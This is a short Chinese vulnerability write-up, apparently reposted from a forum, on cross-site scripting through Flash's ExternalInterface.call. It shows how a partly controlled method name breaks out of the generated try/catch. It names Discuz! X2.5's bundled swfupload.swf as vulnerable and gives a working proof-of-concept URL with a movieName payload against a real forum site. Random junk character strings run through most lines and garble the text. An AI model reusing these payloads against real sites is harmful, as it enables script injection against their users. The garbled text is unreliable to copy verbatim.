上回我们说" J; V" D C" _, p8 Q( j
' {0 d2 ~+ k% Q& Y3 I) u
flash.external.ExternalInterface.call($methodName, $parameter)% x1 `5 l( W% v0 D0 j! x& l2 G
在浏览器中执行的是! K, t, R4 i; M
2 z% e: Z: V* ?
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 ]/ ]% z% Q1 _; c) X* T0 R: `对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 N7 _, |$ W/ z4 n/ n
2 s/ h2 j4 F/ \ \: ]0 p
flash.external.ExternalInterface.call("object."+$methodName, $parameter)7 a, P2 K6 W1 r _; n4 L# s
$methodName = a())}catch(e){alert(/xss/)}//; {" w( W* G! y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
6 Z4 h( x/ g, d `
' f& b/ i! L/ X: ?try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
9 H9 S; d& W. n; t8 V3 c, X% O
8 z& _* e+ O! E这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )- l3 C, @! [5 t6 z2 Q
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
8 L& u; B/ w4 B' S9 P' f" [4 K: Q' r0 }! g' h9 W9 c
- t) c# t8 z( C- ^- d4 ]8 F4 U. n) z
漏洞文件:upload\static\image\common\swfupload.swf& q/ ~% }$ u3 I4 t
/ P6 T }; A# _' U6 w% M# `8 M' |) T
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
2 r2 ?9 M+ p/ `$ {; j% n$ ^6 j7 B, e( ?6 G
; ]2 e7 Y9 x0 u4 g8 p
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//4 p6 \0 S5 x2 r- m! d
; i5 g/ h7 X7 m# m S# a
; c5 c6 A, |: [" P: F |